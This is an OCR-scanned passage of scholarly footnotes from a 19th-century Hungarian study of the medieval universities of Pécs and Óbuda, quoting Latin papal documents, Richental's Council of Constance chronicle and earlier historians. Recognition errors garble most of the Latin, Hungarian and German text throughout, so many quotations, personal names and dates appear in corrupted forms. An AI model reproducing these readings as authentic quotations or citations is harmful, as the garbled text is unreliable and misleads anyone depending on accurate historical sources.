55
seiu a pápának seiu a püspöknek neve nincsen kitéve, és csak annyit mond-
hat, hogy az eredeti a XV. század első feléből való: «Gratiana istam Sedis
Aj)ostolicae eui Episcopormu potius, Valentino an Joanni, an Henrico, qni
mutno sese excipieutes ab exordio Pontificatus Bouifacii IX. fere usqiie ad
ilimidinm Saec. XV. Ecclesiae nostrae Sedeni occiiparuut, concessaiu esse
existiniemus, nulla ratio animiun nostnun in utramvis j)arteni inclinat, cxun
hoc soliim constet, ad aliqueni certe honim EpiscoiJoriim eandem pertinere,
reliqna omnia incei-ta sint. Tamen qiiia lűti'a annum 14-45. Epocha hiiins
concessionis ditferri non potest [? '?] eam non tam aliqna ad Episcopatnm
Henriéi referendi, quam ultra eius Episcopatum non diífereudi ratione
inducti Episcopatui Henriéi [14"20 — 1445] consignamus.*
^^) Toldy (i. m. p. LoO és 154) arra is hivatkozik, hogy az első magyar-
honi törvény tani kísérletet, az <(Ars notariale))-t, mint kiadója "Kovacliicli
Márton vélekszik, kevéssel a XIV. század közepén túl [vagyis a XIV. század
első felében] egy egi'i megyei áldor és pécsi egyetemi tanár szerkesztette
hallgatói számára. — Csakhogj- Kovachich, iigj- látszik, csak arra alapította
hyj)othesisét, hogy az Ars Xotariale-ben közölt számtalan formxila közt,
melyeknél az iratás helye nincsen Idtéve, van egy pár olyan is, mely Eger-
ből van keltezve.
^^) Eegestrum auni 1494, Eugelnél (Gesch. d. Ung. Eeiclis. I. p. 70).
Wallaszky (Consp. p. 114) ezen helyből ('<Die 2. Mártii ad relationem Bra-
dacs scholai'ibus scholae maioris Quiuqueecclesiensis dedi f. III) azt követ-
kezteti, «íloruisse eam [t. i. Universitatem], immo minorein qtooque scliolam
ihi extitisse ad finem usque seculiu, de lehet, hogy a «schola maior»
kifejezés csak annyit akart mondani, mint «gymnasiimi (studimn) generales*
Tekintettel ezen regestrmnra mondja Schönvisner i. m., hogy Xagy Lajos
halála után is fenállott a pécsi egyetem egészen 1543-ig <isi non ut Aca-
demia, certe ut maius quoddam gymnasiiuu, maiorve Schola Capitularis.))
^') Hogy az 1538-ban született Istvánffy nem lehetett a pécsi egj'e-
tem növendéke, már magától is valószínű, de v. ö. Balásfy Tamás püsi^ök
előadását is (Pray Ann. IV. p. 5) : «Natus est Nicolaus Istvanffi circa urbem
Quinque-Ecclesiis in Castello paterno ... a. Chr. 1538 . . Postquam aiitem
Tm'cae Quinque-Ecclesiis potiti sünt, ipse cum pj-ofugis parentibus puer
admodmn in exiliiim profectus varüs in locis illud tolera\át. Posteriori tem-
pore Paulo Archiepiscopo Strigoniensi commendatus est, apud quem bien-
nium vixit atque, ubi is morte exstinctus est, in aulám Xicolai Olahi epi-
scopi Agi'iensis transiit, qui eum in Italiam cum uej)ote suo Georgio Bono-
niam misit, ubi ciun per qninquennium praeceptore usus Sambuco bonis
litteris tam Graecis quam Latinis operám navasset, satis üs insudaus
multum in utraque liugua profecit et reversus eam grati animi significa-
tionem praebuit, ut ipsi Xicolao Olaho, qui interea Paulo Vardano in
Arcliiepiscopatu successerat, deceni annis secretaiü munere functiis fnerit.*
Be nem látható tehát, mikor lett volna Istvánffynak alkalma a pécsi egye-
met látogatni. — Istvánfly (Hist. p. 161. az 1758-iki bécsi kiadás szerint):
"fűit etiam olim in ea (Pécsett) Gymnasiiun litterarum haud iucelebre,
56
tanto hivenum stiidiosoruin conciu'su, nt paiicis ante lioc belluni [aiini 1543]
annis, duo inillia eorum in ea nnnierata fuisse ferantur.» Fraknói is, ki a
2000 számát nagyon is túlzottnak tartja (i. m. p. 138), figyelineztet arra,
liogy ez az 1543-iki háború előtt volt, <ineni a mohácsi vész előtt, mint
íróink nag;^' része [pl. Toldy i. m. II. p. 23, Wallaszky Tent. j). 51, Koller
Prolegg. p. 144 sqq.] Istvánífit félreértve állítja. » Zeiller (Xewe Beschrei-
bimg cles Königreichs Ungai-n stb. 1646. j). 114) és Szerdahelyi György
(Hungáriáé Chorographia. 1732. p. 369) szintén Istvánflfyt követik, mikor azt
mondják, hogy volt idő, mikor kétezer (Szerdahelyi szerint négyezer) tanu-
lója volt a pécsi egyetemnek, de félreérti őket Wallaszky (Consp. p. 114),
mikor azt hiszi, hogj^ ezt a XV-ik századról mondották. Hogy pedig Szer-
dahelyi tényleg Istvánffyból mentett, kitűnik a két író kifejezéseinek ha-
sonlatosságából: ((Yiget adhucd, mondja Szerdahelyi, <imemoria Athenaei
(Quinqueecclesiensis) quod proximis annis ante Turcicam caiitivitatem adeo
in ea florebat, ut ex nonnullorum sententia quatuor mille scholasticos con-
stanter numeraverit. Quos inter se qiioque litteris ae scientiis imbutum
gloriatur Nicol. Istvánfius celebris Hungáriáé Historicus." Toldy (i. m. p. l-öO)
Szerdahelyi téves állítását reproducálván, a i^écsi egyetem tanulóinak n rop-
pant, néha négy ezerre menő számát » emlegeti.
^*) Hogy Illicüius már, 1556-ban esztergomi préjjost volt, bizonyítja
II. Ferdinánd királynak egj okmánya (Kaprinai kézirataiból: XXVIII. p. 278,
Cserynek a pesti egj^etem történetéről szóló kézirati művében), melyben kije-
lenti, hogy a széplaki apátságra <(fidelem nostrum venerabilem Petrum Illi-
cinum Praepositiun S. Thomae de íjromoutorio Strigoniensi durante bene-
placito nostro eligei'e et íjraeficere duximus, ita tamen quod ideni Petrus
lUicinus singulis annis de administratione huiusmodi praefato Dominó Stri-
goniensi rationem reddei'e teneatm*. . . . (Ic56, die 4. Julii).* Ugyanazon mim-
kában olvasható Oláh Miklósnak a nagyszombati seminariumra vonatkozó
alapító oklevele 1566. május 19-ikéröl, mely «. . Nicolao Telegtlino . . Petro
lUicino Praeposito S. Thomae . . . una nobiscum Deo famulantibus et Ecele-
siam lianc solhcite gubernatibus » kelt. Illicinus tehát akkor még Magyar-
országon volt. Irodalmi működésének méltatásaiba szolgálnak következő
kiadatlan művei is (Deuisnél Vol. I. P. II. cod. 611 :) <iAd Serenissimum et
Christiauae Eeligionis stuiUosissimum Principein et Dominum D. Rudolphum
Eom. Hungáriáé, Bohemiae, Dalmatiae, Croatiae etc. Regem etc. De veri in
Ecclesia Dei Eegis ofíitio ac Potestate Paraeneticon.w Szerzője uPetnis Illicinus
I.U.D. Prothonotarius x\postolicus etCanouicus Olomucensisn, ki e művét 1575.
1. nov. után irta. — (U. o. Vol. I. P. II. cod. 476 :) « Commentarium conti'aim-
piam Deoque inimicam Haereticorum legem quod liceat cuique impime ac siue
aliquo impediinento de fide sentire et praedicare \\i velit. Per Petrum Illi-
cinum J. U. Dúctorem Canonicum Eeclesiae 01omucensis» (II. Rudolfnak
ajánlotta Olomucii 1572. Denis szerint előbbi munkáját ebben említi, de hogy
lehetséges az ?). — (U. o. p. 1884. cod. 477:) « De vitandis toUendisque haereticonun
libris Petri Illicmi J. U. Doctoris et Cau. Olomucen. libellus latiuo-germanicus.
Anno salutis 1577. » (II. Rudolplmak ajánlva). — Egy ílórenczi kéziratban (Bandi-
57
niuél, Bibi. Laur. III. p. 120) : (iProlegomena iu Phitonis Politicam de oi)timo
Eeip. statu auctore Petro Illicino Juris cousulto ciun Epistola Xuucupatoria
•lExeelIentissimo atque optimo principi Dominó D. Cosmae Mecliceo Flo-
rentiae ac totiiis Etnmae Duci Doinino suo Clementissimo » (végz.: «De quibus
idem Plató et Aristotelfis in PoUticis disputai-unt. Vale. Ex Hungária Idibus
Maii MDLXD [In ea — Baudini jegj-zete szerint — -. ágit inelius esse unius
impérium Democratia et Oligarchia, affirmatque primum sequens oiíusculum
quod Coiumentariolum de optimo Eeij). statu seu praefatiouem appellat a
se Cracoviae elucubratiun fuisse, qumn Platonis Politicam Graeca lingua
publico in Gymnasio interpretareturj. p. 37b : Eiusdem de Lege ac Jui'e
Eomano Praefatio in celebenimo Viennensi Gymnasio anno MDLI facta*
p. 63 : Eiusdem de História et partibus Juris Romani Praefatio. p. 78b :
Eiusdem de malorum nostrorum caussa et de iuventutis instituendae cura
sermo factus in Piegno Poloniae Cracoviae. 1 1 2b : Eiusdem ad Excellentis-
simum et Illustriss. Christianissinnimque totius Tusciae Principem DD.
Cosmam Medicem Asclepiadeum. »
^^j «Est Vetus Buda . , . floruisse non solum temporibus Eegis Mattbiae
. . . verum etiam longe ante celebrem fuisse, satis iiidicat erectio Studii
generális, quod Bonifacius Xonus Millesimo tercentesimo octuagesimo nono
et primo sui Pontificatus anno j)etente Sigismundo rege concessit omnibus-
que pi-iÁdlegüs et immunitatibus ornavit coustituto eiusdem Studii Cancel-
lario Praeposito Ecclesiae sancti Petri Apostoli, ac ut Praepositi eiusdem
Ecclesiae nec non Canonici ex Doctoribus eiusdem Studii assumi possent,
sancivit. De qua re alibi pliu-a.D így Melcliior lubofer (T. I. Annál. Eccl.
Hung. p. 328), még pedig Scliönvisner szerint: (tverosimiliter ex ipsa
erectionis Bulla, quam forte in continuatione Annalium suorum Tomo al-
tero editurus erat. si fata sivissent : banc enim Eomae scribens prae mani-
bus habere potuit, et 1. cit. se alibi de hac üniversitate plura narratiu-um
adpromisit. » Magam sem tartom A^alószínűnelí, hogy Inhofer részletes ada-
tait a levegőből kapta.
^") Theiner, Vetera Monumenta Hist. Himg. Sacr. lUustr. Eomae. 1860.
II. p. 184. 185: "Johannes Episcopus etc. [XXIII] Venerabili fratri Brande
Episcopo Placentino Eeferendario nostro ac in Uugarie et aliis Eegnis et
partibus Carissimo in Christo íilio nostro Sigismundo Eegi üngarie lUustri
subiectis pro nobis et Eomana ecclesia in spiritualibus reformatori salutem
etc. Cum ad Ungarie et alia Eegna et partes Cai'issimo in Christo filio
nostro Sigismundo Eegi Ungarie lUustri subiecta pro nonnullis arduis nostris
et Eomane ecclesie negotüs ac pro salute et tranquilLitate, statu pariter et
honore Eegis et Eegnorum ac partium predictorum, ecclesianun et mona-
steriorum, in illis existentium et degentium in eisdem presentiahter desti-
nemus : nos ad Eegem et reguum huiusmodi, et ad eorum honorem ac
status incrementa gereníes jíaterne dilectionis aífectum ac volentes votis
prefati Eegis in hac parte anuuere reguumque i^jsiun Ungarie vei alia tlicto
Eegi supposita decore generális studii illustrare, frateruitati tue de ac sviper
loco notabili, fertili, insigui et alias accommodo et idoueo ad conservationem
et exaltationem ip-^ius studii in ipso Ungarie vei alio regno seu partibus ipsi
Regi siibclitis erigencli et doctomm magistrorum scolarium et aliorum elegére
tlebentinm in eocleni aiictoritate nostra etiaiu cum eonsilio prefati Eegis te
iufoniiandi, et super premissis et eorum circiunstautüs luiiversis inqiiirendi
diligentius veritatem et quod per iníbriaationeni et inquisitiouem hiiiusmodi
siiper dicti loci idoneitate et aliis circniustantiis iuveneris, nobis per tuas
litteras vei uunciixm idoneum iutimendi qiiautocius et cominodius poteris,
plenam concedimiis tenoré presentinm facultatem, nt inforiuatione per nos
in premissis liabita ad erectioneni dicti studii et alia concedenda indiilgenda
privilegia procedere valeamns, pront noverinins expedii'e. Datuin Bononie
Kai. Augiisti. Anno Primo."
^^) Az ó-biidai egyetem czímerének rajzát Hardt mnukájából Peterffy is
átvette (Coucil. Huug. I. p. 304j. Pálma után (Sjíec. Herald, p. 40j Wallaszky
(Tent. p. 52) következő leírását adja: «sciitum ovale, dnplicem in aream
horizontaliter sectum, in cuins inferiore coelestina cubitns humánus codicem
rubeum tenens, superiore verő crux duplicata Hungarica rubea ex tricipite
coUe excrescens ciuu epigrajjhe : ACADEMIAE BVDEXSIS.» És e leírás,
mint Harmatb Károly iir szíves közléséből tudom, az ó-budai egyetem czí-
merének a Pieichentliali Ulrik Conciliumbuclijának a pozsonyi evang. lycemn
könyvtárában őrzött példányában látható ábrájára is illik, csakhogy itt «a ke-
reszt maga fehér és a felső mező téglaveres színű, míg a pajzs' alsó felében
levő könyv borítéka carminveres színű, vágása arany d, és az ((Academiae
Budensis)) felírás hiánj'zik. Hardtnál és Eeichenthali Ulrik eredeti kézira-
tának facsimilejában nincsen színezve a czímer és azonkívül az « Academiae
Budensis » felírás a facsimilében is hiányzik, Hardtnál pedig a czímer fölött
lebegő szalagon a <iSimdensis» felh'ással van helyettesítve. A Wallaszky emlí-
tette ((Academiae Budensis » felírás e szerint újabb keltű, és a czimeren, az
ábra szerint ítélve, nincsen is számára hely. Péterffynél a czímer alsó kari-
máján a következő felírás van: nSigill. Studii Budensis. Ex actis Concil.
Consta. 1413)1, de ez meg nyilván Péterífytől való. Feltűnő külömben, hogy
Peterffy, Lányi (I. p. 542), Fejér (Hist. Acad. Scient. p. 8), és még Inhoffer is
(Annál. Eccl. Hung. p. 328) e czímert pecsétnek mondják. Hardt, mint maga
mondja, a czímer rajzát Pieichenthal munkájából vette, ki a müvében foglalt
czímereket maga rajzolta le a zsinaton Dacherrel egj'ütt ; Hardt áUítása sze-
rint (V. p. 18) e czímerek mind megvannak egy konstanzi kéziratban. —
Könyvet tartó kinyújtott kar a bécsi és erfurti egyetem czímereiben is van,
azonkívül könyv a konstanzi zsinaton képviselt legtöbb egyetem czímerében is
látható, és, mint Eómer Floris úrnak egy leveléből tudom, ((hasonló czímer,
t. i. egy könyvet tartó kéz, van a kalocsai föegyház egyik lectora sírkövén,
és így ez volt alkalmasint a közéi^korban a tvidákosság egyik fő jelvénye."
^'■^) Schönvisner István, Collectanea Historica üniversitatis Piegiae
Scientiarum Hungaricaen (Egyetemi Könyvtár, cod. G 139) czímü kézii-atá-
Ijau, következőképen nyilatkozik a dologról : (( Si vei Regias fimdatiouis literas
vei Pontificiam erectae hinus Academiae Bullám, quas antequam typis
ederentur inteiiisse dolemus, consulere liceret, facile opinor coutroveríiae
lunc inter viros doctos siibortae íinis imponeretur. Sed cum careamus his
59
(locninentis, acípiiescfiiduiu est auctoi'itatil)Us de Acadeinia Sundensi apud
Biidani vetereiu coUocata hacteims adductis, praesertim cuiii apud Marti-
műn Schrot superius nienioratum inter delineata Episcoporum Hungáriáé
insignia reperiatur etiani sub nomine Sunden scutum infulatuin, continens
in area superiore Cruceiu hungaricani pro basi habentem trea colles, infe-
riore area caelestini coloris flosculata. Unde apparet Sundam re ipsa fuisse
locum quempiani vei in ipsa Buda veteri, vei extra lianc ita uuncupatam.
In Mss. Hevenessianis Tomo XIV, lit. dd. p. 68 liabetur iliploma Wladislai
II. Eegis Hungáriáé dátum Budae 1506, quo Zyntliae, sive ut in continua-
tione eiusdem diplomatis legitur, Szynthae, Capituli Ecclesiae Budensis
Principi Apostolorum saneto Petro dicatae oppido in Comitatu Csongradiensi
posito, conceditur titulus civitatis cum iisdem gratiis, libei'tatibus et praerogati-
vis, quibus tuuc Szegediensis civitas fruebatur, iusque sigilli proprii autbentici
cxnn inseriptione circulari Sigilliim civitatis Szyntha. Quod nomen cum sit
affine nomini Snuda, sive Síuiden a Germanis qui saepe y cum u, ot t
vei tli cum d permutare soleut, perscripto, aequus arbiter iudicet, an non
pronum sit existimare, quod Sunden e Syntha ortum sit, maximé ciuu boc
olim oppidum ad Capitulum Ecclesiae Vetero-Budensis pertinuerit. In liac
autem bypotbesi quidni existimare liceat, aliquem e canonicis huius Capi-
tuli regnante Sigismundo titulum babuisse Episcopi Sziinthensis sive Sun-
densis, qui, ut vetero-Biidensis Academia aeque Sundensis compellaretur in
eiusdem dotationem liaud parum de suis facultatibus contulerit. Novimus
enim Parisiensem quoque Academiam ideo dictam fuisse Soi'bonam, quod
Robertus Sorbonus Ecclesiae Parisinae Canonicus et Ludovici XI. Elemo-
sinarius Universitati Parisiensi suas cesserit aedes atque in iis CoUegium
Tlieologiciuu anno 1253 fundaverit.»
^^) Fejérnél, Cod. Dipl. X. ii. p. 315 és Hist.Acad. Scient., Doc. p. 6. 7, mely
utóbbi művében (p. 8) külömben azt biszi Fejér, hogy «Gloriae, si couiecturae
locus, aemulatione, aut tlieologicae facultatis, quae [Universitati Quinque-
Ecclesiensi] defuit, supplendae gratia» alapította Zsigmond a budai egye-
temet. Az okmány 1395. secunda uonas Octobris (okt. 6-ikán) kelt: nBoni-
facius EpiscoiDus, Servus Servorum Dei. Dilecto filio Lucae electo Cenadiensi
Salutem et Apostolicam Benedectionem . . . Hodie siquidem Ecclesiae Cena-
diensi Pastore carenti de persona tua nobis et fratribus nostris ob tuormxi
exigentiam meritorum accepta de fratrum eorunidem cousilio auctoritate
Apostolica duximus providendum, jiraeficiendo te üli in Episcopum et Pa-
storem, prout in nostris inde confectis litteris plenius coutiuetur. Nos igitiu*
volentes eandem personam tuam favore prosequi gratioso, tuis in hac parte
supplicationibus inclinati, ut Praeposituram Ecclesiae S. Petri in Veteri
Buda Vesprimien. Dioecesis, quae dignitas unica et princiiíalis in dicta
Ecclesia S. Petii existit, ad quani consvevit quis per electionem assiuni, quam
obtines cum oinnibus iuribus et pertiuentiis suis quoad vixeris, una cum
praedicta Cenadiensi vei alia Ecclesia ad quam forsau te trpaisferri conti-
gerit, etiam post muniis conseerationis a te suscipiendum seu lapsum tem-
poris de consecrandis Episcopis a Canonibus definiti retinere et eiusdem
60
Praepositixrae fructus, redditus et proventns jiei'cipere et officium cancel-
lariae sindíi dicti ofi^idi Veteris Budae e-rercere licité valeas non obstan-
tibiis quod in aliqua facultate Doctor non existas . . . . »
-*) Fraknói (Magyarországi tanárok stb. p. 14. 15) 1396-ba teszi Horawi
János megbivatását, úgy értekezésének szövegében, mint a jegj'zetben (1396.
« Secunda julii in congi-egacione facnltatis arcinin .... Tercius ( articulus ) ad
aiidiendum sixpplieacfones cuiusdam Magistri pro dispensacione de tempore
et actibus. Et snpplicavit M. Jobaunes de Horow promotus ad colleginm in
Universitate Budensi.» Liber piiimis Actornm fac. arcium f. 73), Scbier (Diss. de
bibi. Bndens. p. 3l szintén 1396-ba belyezi Horawi János megbivatását; belőle
merített Wallaszky (Tentam. p. 52), Lányi (i. m. I. p. 542) és Laky (i. m. p. 46)
is, de ezek liibásan azt mondják, hogy János mester 139 i-ben hivatott
meg Budára. Aschbachnál (Gesch. d. ^yien. Univ. I.) Horawi János nem
fordul elő, hacsak nem azonos azon Johannes de Horb-bal, ki szeiinte
(Aschb. I. j). 151 és 609) 1395-beu a bécsi egyetemen <ide generatione et coiTU-
ptione)) olvasott. Abban is eltér Schier Fraknoitól. hogy a kérdéses tanár nevét
de Horaw-nak, nem, mint Fraknói, de Horow-nak írja, valószínűleg helyesen.
A jiozsonyi káptalan könyvtárának kéziratai között is van egy «questioues
sui^er 4. sentenciarmn magistri georii {\) de ho7'aw» czímű Xr\"-ik század-
beli kézirat (ur. 42. Knaiiznál : A pozsonyi káptalannak kéziratai. Eszter-
gom. 1870. p. 111 — 114i, melynek szerzője talán azonos azon Georgiiis de
Horaw-val, kit Petrus de Pulka 1415. Mains 15-ikéről a bécsi egyetemhez
Konstanzból intézett levelében mint bécsi egyetemi tanárt említ (Archív f.
österr. Gesch. XV. p. 22). — Lányi (Cath. clerus érdemei ... p. 81) kiilöm-
ben Horawi Jánost felhozza korának orvosai közt, azért mert Wallaszky
Conspectusában p. 82 «inter viros ernditioue clarosK véletlenül több orvos
társaságában van felemlítve.
^^) A bécsi egyetem bölcsészeti karának jegyzökönyveiből (f. 153 és f.
179) az erre vonatkozó kivonatok meg^•annak Fraknóinál (Magyarországi
tanárok stb. p. löi : 1412. <(Sabbatho octave penthecostes (május 28). Con-
gregacio facnltatis arcium . . . Quartus artictilus ad audiendum supplicacio-
nem cniusdam baccalaurei alterius Universitatis. qui fűit Bnccius de Pest,
Budensis [t. i. Universitatis], ut admitteretur ad consoreium baccalarionmi
nostrorum, et fuerat . . . admissus. » — 1415. (Értekezésének szövegében
Fraknói 1414-be helyezi ezen eseményt, de ez sajtóhiba; p. 41 is azt mondja
Fraknói, hogy 1415-ben jött Miklós a bécsi egj-etemre.) «Festo s. Colomani.
(Oct. 13-ikán) Congregatio facnltatis ... ad recipiendum baccalarium alterius
Universitatis. Qui recepius fűit nomine Xicolaus de Theuiesswar.» Aseh-
bach (I. p. 619) szerint ezen Nicolaus de Temesvcír 1419. óta bécsi egyetemi
tanár volt; Briccius de Buda Aschbachnál nem fordul elő. Fraknói szerint
(Magyarországi tanárok stb. p. 24) «Xicolaus de Temesvár* a bölcsészeti
karnál 1419-ben «Sententias Jovis»-t adott elő, 1419-ben és 1421-ben a böl-
csészeti kar magyarországi származású tanácsosai közé (u. o. p. 30i, 1422-ben
pedig a bölcsészeti kar magyarországi származású vizsgálói közé tarto-
zott (u. o. p. 33). 1415-ből Fraknói (i. m. p. 41) mint Xicolaus de Themes-
61
war-t a bölcsészeti kar magyarországi tanulói között említi fel, kétségkívül
a bölcsészeti kar jegyzökönyveinek idézett helye nyomán, miből kitűnik,
hogy Temesvári Miklós 1415-ben a bécsi egyetemnek nem tanulói közé
vétetett fel, mint az ember Fraknói p. 41 alapján vélhetné, hanem bacca-
laureusai közé. — Egy Ericcius de Buda-t Fraknói p. 41 mint tanulót 1414-böl
említ fel, de ez valószínűleg nem a ini baccalaureusunkkal, hanem azon
Ericcius de Eudá-val azonos, kit az egyetem 1414. február 2-ikán kihágá-
saiért kénytelen volt megbüntetni (Fraknói i. m. p. l.S).
-^) L. Ulrich von Eeichenthal Conciliumbuch-ját (Augsbm-g. 148-3)
p. 146 : ((Von der hohen schul zu Sundens in unger gelegen Die kament
mit dem erczbischoff A'on Gi-an : Lamperthus bropst czu ofen lerer götliches
rechten. Symon Clostein meyster in der erczney. Dnus heiuricus prepositus
pudensis doctor in theologia. Matheus de diernach. Thomas de wissenburg.
Dadeus de vito mercato. Nicolaus bisznaw beyd doctor decretorum.» így adja e
névsort Harmath Károly (Egy hazánkat érdeklő ősnyomtatvány a pozsonyi
ág. ev. lyceum könyvtárában. Magyar Könyvszemle. 1879. p. 104), ki szíves
volt megkeresésemre a kérdéses helyet az idézett ősnyomtatványban még
egyszer megtekinteni; Wallaszkj- (Cousp. p. 111, a Tentainen megírásánál
még nem ismerte) szintén közli e helyet, de egy pár eltéréssel : zu Sun-
dens . . . Thoinas de Wiesenburg . . . Nicolaus de Bihnaro. Végre Wagner Károly
értekezésében (Ungar. Magáz. IV), melynek forrásaiul Müuster Kosmogra-
plűáját (Easel 15981 és a Couciliumok Dacher által szerkesztett gyűjtemé-
nyét említi, az egyetemet Sunden-nek, a kérdéses két tanárt pedig Thomas
von Weissenburg és Niclaus Bisnaw-nak nevezi, mi által Harmath Károly
olvasása hitelesebbnek bizonyult, és mint Harmath i'ir leveléből tudom, "Eisz-
naw nevében a sz betű hasonlít ugyan a h betűhez, de határozottan kü-
lönbözik is, s csak Eisznaw-nak olvasható.)) Thadaeus de Vico Mercato
neve (Fejérnél X. S. p. 558 Thadaeus de Vünercato) Wagnernél hiányzik.
Lányi (I. j). 543) és Laky (i. m. p. 46) Wallaszky hibás lajstroma után adják
a tanárok neveit s azonfelül Diernaclii Mátét tévesen orvostudornak mondják.
— Főfontosságú azonban Ulrich von Eeichenthal idézett müve eredeti ['? '?]
kéziratának legújabban megjelent photolithographikus kiadása (((UoMch
Eichental Concilium ze Costenz 1414 — 1418))), melyben fol. 417 a követ-
kezőket olvassuk:
Von der schul zii sundensz In Ungeru
die da komend mit dem Ertzbischof von Gran
(czímer)
Dnus. hainricus prepositus pudensis
Matheus de dyernach \> doctores In theoloya
Thomas de Wiszenburg
Tatheus de Vico mercato — -
■KT. 1 , . ■> doctores decretorum
JNicolaus bissnow ^^^ —
Dns. symon clostein inagister In Medicinis. (Ez később p. 421 a
doctores et magistri in mechcinis közt megint előfordul mint Siino clustay,
iigy mint j). 419 ((Tliatheus de vico mercato )> is a (( magistri in theo-
62
loya» közt). — Csak innen tudjuk Thadeus de Vico Mercato (nem: de Vito
Mercato) tulaj donképi nevét és azt, liogj' Matheus de Dyernacli és Tlioinas de
Wissenburg Doctores Theologiae is voltak ; míg másrészről jíersze föltűnő, hogy
Lampertus prépost e kiadásban sem itt sem másutt nem fordul elő, ép olj'
kevéssé mint a mindjárt említendő «Andi"eas meister der siben fi'eyenKunst»,
és liogy Wissenburgi Tamás és Bisnawi Miklós is csak ez egj-szer említtetnek fel
benne. Úgy látszik, liogy Ulricli von Eeichentbal Conciliumbucbjának Augs-
biu'gi kiadása teljesebb kézirat után készült, mint a milyen a legújabban
kiadott « autograpbum II . — Diernacbi Máté és Wissenburgi Tamás szakmáját
Eeiclientbal-nak egy másik helyéből határoztam meg (f. 1.52, Harmathnál
p. 104), melyen a szerző több tanárt sorol föl az « Erczbischoff Strigouen-
sisM kíséretéből, kinek azonosságát az (terczbischoff von Gran>i-nal Uliik
nem ismerte föl: «Matlieus (azaz: de Diernachi lerer der geistlichen Eecht
und götlicher Kunst. Thomas (kétségkívül de Wissenbui'g) lerer geistl.
recht. Andi-eas meister der siben freyen Kunst. Xicolaus (t. i. Bisznaw)
maister der syben freyen künst, (miből az következik, hog}- Bisznawi
Miklós nemcsak decretorum doctor, hanem magister artium is volt). Die vier
warend bey dem erczbischoff Strigonensis in ungeru.i) Ezek között András
inagister artimu, és kétségkívül, mint többi társai, budai egj-etenii tanár,
eddig nem volt ismeretes. — Egj' bizonj-os Johannes Schlinicz von
Ofen, doctor decretoinim (így Eeichentbal az augsbui'gi kiadásban f. 150,
de a facsimiles kiadásban Johannes Schinitz de piid ; Dachernél ivedig SHnitz,
Münsternél Sehluntz, Fejérnél Szluncz), ki a kölni egj'etem küldöttje
volt, Wagner szerint (p. 245) valószínűleg a kölni egyetemen tanult és később
hazájában tanított ; de mire alapítja Wagner ezen állítását, nem mondja.
— A budai egyeteua tanárainak czímerei (ha voltak) a Concilimnbuch-bau
hiányoznak ; a Könj'vszemle idézett czikkében Harmath \vc közlése szerint
tévesen van Bisznaw neve mellé kitéve, hogy czímere is meg^'an a könyvben.
Pedig kivált Thadeus de Yico mercato-ról nem valószínűtlen, hogy nemes
ember volt és így külön czímerrel bírt. 1465-ben ugyanis a baseli egA'etemhez
egy milanói jogtudóst, egy Vicomercatói grófot hittak meg, kifizetése elveszté-
sének terhe alatt arra kötelezte magát, hogy egy év lefolyása alatt egy witr-
tembergi grófot és két egyházi ihgnitást fog a baseli egyetemhez vonzani
a kánonjog tanulása czéljából, negyven fiatal nemes embert pedig a római
jog tam;lása czéljából, mely nemes szándékát azonban i'igy látszik, nem
vihette keresztül. Ki tudja, nem volt-e Thadaeus de Vicomercato is hasonló
csalétek a budai egyetemen ?
'") Kanizsai Jánosról azt jegj'zi meg Wagner (i. m. p. 238. 239), hogy
Hardt Fastija szerint (a lY-ik kötetben) csak 1415-ben jött Konstauzba.
(Mense Febr. che 9. Arehiepiscopus Strigoniensis nec non Andreas Coloceusis,
hoc f ere temj^ore veneruut [a Conciliumbuch pontosabb állítása szerint, mint
Harmath úrtól tudom, «Am freytag vor uuser lieben frawen tag zu liechtmesz»,
a facsimüós kiadás szerint: «am fritag uach unszer froweu tag zu liecht-
mess anno dni MCCCCXV.»] ós már 1417-ben ismét elment ouuau, mely
utóbbi állítását a Hardtból vett következő furcsa idézettel bizonj-ítja :
63
« Meuse Februario, (lie tertia, Archiepiscopus Granensis, Constantiam venit[!]
splendije exceptus.o Eeichentbali Ulrik Magyarország prímásából itt is
két embert csiuált volt, egy cJohaunes Stiigoneuszi>-t és egj' «Erczbiscliof
von Graiiii-t.
^®) Wagner |i. ni. p. 241. 242): «Dass er Frobst der Altofneriscbea
Kollegiatkirclae znm H. Péter war, ist aus den Diploinen bekannt ''?Czinár
indexében nem találkozunk nevével ; Fejérnél X. 8. j). Ő.58, ki, mint mondja,
Wagner értekezéséből szedte a neveket, bár a Wagnernél hiányzó Thadaeus
de Vicomercato-t is felemlíti talán Wallaszky nyomán, mint «Lampertu3
Praepositus Maior Capituli Vetero-Budensis)) fordul elő,]. Ob er es aber war,
der in der ^0-ten Session die Approbation einiger Kajiitel mit folgenden
Worten : Lampertus de Grolia (das Mspt. hat Gelria) pro se et Piegno Hun-
gáriáé beschworen hat, lásst sich nicht wohl entscheiden ; aus obigen Wor-
ten aber erhellet, dass er aus Geldern gebürtig war*. Hogj- ezen Lambertus
de Gelria nem azonos a budai préposttal és egyetemi tanárral, kétséget
nem szenved. Achbach fi. p. 419 — 421) adja Lambertus de Gehia életrajzát,
ki 1. 383-ban Parisból a bécsi egyetemhez hivatva, 1419-ben bekövetkezett
haláláig folyton ezen egyetemnél működött, és a koustauzi zsinaton, bár
nem mmt a bécsi egj'etem küldöttje, szintén jelen volt.
-^1 V. ö. Wagnert (i. m. j). 242) : «0b er Probst des H. Erzengels Mi-
chael von der Haseninsel, welche Altofen gegenüber liegt, und dem Orden
der Prámonstratenser zugehörte, oder ein -weltlicher der Kollegiatkirche
Unserer Lieben Frauen ante Castrum Budense, oder Probst der H. Drey-
einigkeit von den Obern Warmen Bádern Fehévéz war, lásst sich nicht
bestünmen. Das ist aber gewiss, dass er der Probst des H. Siegmunds,
Königs und Mártyrers nicht seyn konnte, da diese Probstei nach dem Zeug-
nisse des Windeck er#t 1424. in der Stadt Ofen erric-htet worden.') Xem
tudom minek alapjá-n nevezi öt Fejér |X. 8. p. 558) "Henricus Praepositus
B. M. V. de novo moute Pestu-nek. — Wissenbm-gi Tamást Fejér i. h. talán
helyesen erdélyi embernek mondja: «Thomas Alben. Transilvan.», és téve-
sen nevezi Lányi (i. m. p. 53) ,Diernach Mátét' és ,Wiessenburg Tamást'
külföldieknek ; Reichenthali Llrik legalább Wissenburgot és Diernacht is
felhozza azon magyarországi és erdélyi városok között, melyek külön követük
által képviseltették magukat a konstanzi zsinaton. — l'gy látszik külömben,
hogy Budáról az egyetemi tanárokon ki\-ül egyetemi tanulók is voltak Kon-
stanzban' a zsinat alkalmával. Peti-us de Piüka ugyanis, a bécsi egyetem
küldöttje, 1417. nov. 11-ikén a bécsi egj-etemhez intézett levelében (Archiv für
österr. Geschichte. XV. p. 60) említ egj Miklós nevű budai tanulót (budai szár-
